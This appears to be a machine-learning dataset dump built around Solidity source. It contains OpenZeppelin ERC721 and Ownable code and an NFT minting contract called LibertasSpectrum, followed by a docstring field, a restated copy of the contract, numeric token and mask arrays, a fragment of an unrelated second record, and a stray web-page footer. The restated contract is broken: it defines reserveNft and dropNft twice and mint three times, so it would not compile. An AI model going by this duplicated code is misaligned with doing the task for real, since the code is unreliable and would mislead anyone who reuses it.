return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/libertas_contract.sol
pragma solidity ^0.7.0;
/**
* @title Libertas Spectrum Series contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract LibertasSpectrum is ERC721, Ownable {
using SafeMath for uint256;
uint public constant maxPurchase = 20;
uint256 public MAX_LIBER_NFT;
bool public saleIsActive = false;
constructor(string memory name, string memory symbol, uint256 maxNftSupply, string memory baseURI) ERC721(name, symbol) {
MAX_LIBER_NFT = maxNftSupply;
_setBaseURI(baseURI);
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
/**
* Set some nft aside
*/
function reserveNft(uint numberOfReserve) public onlyOwner {
require(totalSupply().add(numberOfReserve) <= MAX_LIBER_NFT, "reserve would exceed max supply");
uint supply = totalSupply();
uint i;
for (i = 0; i < numberOfReserve; i++) {
_safeMint(msg.sender, supply + i);
}
}
/**
* drop some nft to addresses
*/
function dropNft(address[] calldata dropAddrs) public onlyOwner {
require(totalSupply().add(dropAddrs.length) <= MAX_LIBER_NFT, "drop would exceed max supply");
uint supply = totalSupply();
uint i;
for (i = 0; i < dropAddrs.length; i++) {
_safeMint(dropAddrs[i], supply + i);
}
}
function setBaseURI(string memory baseURI) public onlyOwner {
_setBaseURI(baseURI);
}
/*
* Pause sale if active, make active if paused
*/
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
/**
* Mints Libertas Spectrum Series
*/
function mint(uint numberOfTokens) public payable {
require(saleIsActive, "Sale must be active to mint");
require(numberOfTokens <= maxPurchase, "Can only mint 20 tokens at a time");
require(totalSupply().add(numberOfTokens) <= MAX_LIBER_NFT, "Purchase would exceed max supply");
for(uint i = 0; i < numberOfTokens; i++) {
uint mintIndex = totalSupply();
if (totalSupply() < MAX_LIBER_NFT) {
_safeMint(msg.sender, mintIndex);
}
}
}
} | * @title Libertas Spectrum Series contract @dev Extends ERC721 Non-Fungible Token Standard basic implementation/ | contract LibertasSpectrum is ERC721, Ownable {
using SafeMath for uint256;
uint public constant maxPurchase = 20;
uint256 public MAX_LIBER_NFT;
bool public saleIsActive = false;
constructor(string memory name, string memory symbol, uint256 maxNftSupply, string memory baseURI) ERC721(name, symbol) {
MAX_LIBER_NFT = maxNftSupply;
_setBaseURI(baseURI);
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
function reserveNft(uint numberOfReserve) public onlyOwner {
require(totalSupply().add(numberOfReserve) <= MAX_LIBER_NFT, "reserve would exceed max supply");
uint supply = totalSupply();
uint i;
for (i = 0; i < numberOfReserve; i++) {
_safeMint(msg.sender, supply + i);
}
}
function reserveNft(uint numberOfReserve) public onlyOwner {
require(totalSupply().add(numberOfReserve) <= MAX_LIBER_NFT, "reserve would exceed max supply");
uint supply = totalSupply();
uint i;
for (i = 0; i < numberOfReserve; i++) {
_safeMint(msg.sender, supply + i);
}
}
function dropNft(address[] calldata dropAddrs) public onlyOwner {
require(totalSupply().add(dropAddrs.length) <= MAX_LIBER_NFT, "drop would exceed max supply");
uint supply = totalSupply();
uint i;
for (i = 0; i < dropAddrs.length; i++) {
_safeMint(dropAddrs[i], supply + i);
}
}
function dropNft(address[] calldata dropAddrs) public onlyOwner {
require(totalSupply().add(dropAddrs.length) <= MAX_LIBER_NFT, "drop would exceed max supply");
uint supply = totalSupply();
uint i;
for (i = 0; i < dropAddrs.length; i++) {
_safeMint(dropAddrs[i], supply + i);
}
}
function setBaseURI(string memory baseURI) public onlyOwner {
_setBaseURI(baseURI);
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function mint(uint numberOfTokens) public payable {
require(saleIsActive, "Sale must be active to mint");
require(numberOfTokens <= maxPurchase, "Can only mint 20 tokens at a time");
require(totalSupply().add(numberOfTokens) <= MAX_LIBER_NFT, "Purchase would exceed max supply");
for(uint i = 0; i < numberOfTokens; i++) {
uint mintIndex = totalSupply();
if (totalSupply() < MAX_LIBER_NFT) {
_safeMint(msg.sender, mintIndex);
}
}
}
function mint(uint numberOfTokens) public payable {
require(saleIsActive, "Sale must be active to mint");
require(numberOfTokens <= maxPurchase, "Can only mint 20 tokens at a time");
require(totalSupply().add(numberOfTokens) <= MAX_LIBER_NFT, "Purchase would exceed max supply");
for(uint i = 0; i < numberOfTokens; i++) {
uint mintIndex = totalSupply();
if (totalSupply() < MAX_LIBER_NFT) {
_safeMint(msg.sender, mintIndex);
}
}
}
function mint(uint numberOfTokens) public payable {
require(saleIsActive, "Sale must be active to mint");
require(numberOfTokens <= maxPurchase, "Can only mint 20 tokens at a time");
require(totalSupply().add(numberOfTokens) <= MAX_LIBER_NFT, "Purchase would exceed max supply");
for(uint i = 0; i < numberOfTokens; i++) {
uint mintIndex = totalSupply();
if (totalSupply() < MAX_LIBER_NFT) {
_safeMint(msg.sender, mintIndex);
}
}
}
} | 10,416,933 | [
1,
5664,
1051,
345,
348,
13324,
9225,
6835,
225,
6419,
5839,
4232,
39,
27,
5340,
3858,
17,
42,
20651,
1523,
3155,
8263,
5337,
4471,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
10560,
1051,
345,
55,
13324,
353,
4232,
39,
27,
5340,
16,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
2254,
1071,
5381,
943,
23164,
273,
4200,
31,
203,
203,
565,
2254,
5034,
1071,
4552,
67,
2053,
6271,
67,
50,
4464,
31,
203,
203,
565,
1426,
1071,
272,
5349,
2520,
3896,
273,
629,
31,
203,
203,
203,
565,
3885,
12,
1080,
3778,
508,
16,
533,
3778,
3273,
16,
2254,
5034,
943,
50,
1222,
3088,
1283,
16,
533,
3778,
1026,
3098,
13,
4232,
39,
27,
5340,
12,
529,
16,
3273,
13,
288,
203,
3639,
4552,
67,
2053,
6271,
67,
50,
4464,
273,
943,
50,
1222,
3088,
1283,
31,
203,
3639,
389,
542,
2171,
3098,
12,
1969,
3098,
1769,
203,
565,
289,
203,
203,
565,
445,
598,
9446,
1435,
1071,
1338,
5541,
288,
203,
3639,
2254,
11013,
273,
1758,
12,
2211,
2934,
12296,
31,
203,
3639,
1234,
18,
15330,
18,
13866,
12,
12296,
1769,
203,
565,
289,
203,
203,
565,
445,
20501,
50,
1222,
12,
11890,
7922,
607,
6527,
13,
1071,
1338,
5541,
288,
540,
203,
3639,
2583,
12,
4963,
3088,
1283,
7675,
1289,
12,
2696,
951,
607,
6527,
13,
1648,
4552,
67,
2053,
6271,
67,
50,
4464,
16,
315,
455,
6527,
4102,
9943,
943,
14467,
8863,
203,
3639,
2254,
14467,
273,
2078,
3088,
1283,
5621,
203,
3639,
2254,
277,
31,
203,
3639,
364,
261,
77,
273,
374,
31,
277,
411,
7922,
607,
6527,
31,
277,
27245,
288,
203,
5411,
389,
4626,
49,
474,
12,
3576,
18,
15330,
16,
2
] |
./full_match/80001/0x197D234F93722FaB2D090370900FC5A648Db3b55/sources/contracts/PoolsBase.sol | there can be some remaining tokens (newFunds > splitFunds)
| emit FundsReceived(splitFunds); | 5,682,790 | [
1,
18664,
848,
506,
2690,
4463,
2430,
261,
2704,
42,
19156,
405,
1416,
42,
19156,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5411,
3626,
478,
19156,
8872,
12,
4939,
42,
19156,
1769,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.